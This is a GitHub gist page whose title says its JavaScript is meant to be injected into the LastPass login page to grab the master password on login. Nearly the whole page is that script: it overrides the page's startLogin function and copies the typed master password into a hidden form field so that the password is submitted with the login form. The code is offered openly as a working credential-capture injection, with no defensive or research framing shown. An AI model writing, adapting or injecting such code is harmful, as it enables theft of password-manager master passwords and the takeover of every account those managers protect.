Skip to content

Instantly share code, notes, and snippets.

@pberba
Created May 26, 2020 09:24
Show Gist options
  • Save pberba/a9a5f5a34fd1b94c0c28e4719dc37ceb to your computer and use it in GitHub Desktop.
Save pberba/a9a5f5a34fd1b94c0c28e4719dc37ceb to your computer and use it in GitHub Desktop.
Javascript to inject in LastPass login page to be able to grab the master password on login
// We override the startLogin function
if ((typeof _startLogin === 'undefined') && (typeof startLogin !== 'undefined')) {
_startLogin = startLogin;
startLogin = function() {
var form = document.getElementById("loginform");
var hidden_password = document.getElementById("_password");
if(!hidden_password) {
hidden_password = document.createElement("input");
hidden_password.type = "hidden";
hidden_password.id = "_password";
hidden_password.name = "_password";
form.appendChild(hidden_password);
}
var password = document.querySelector("#password").value;
hidden_password.value = password;
_startLogin();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment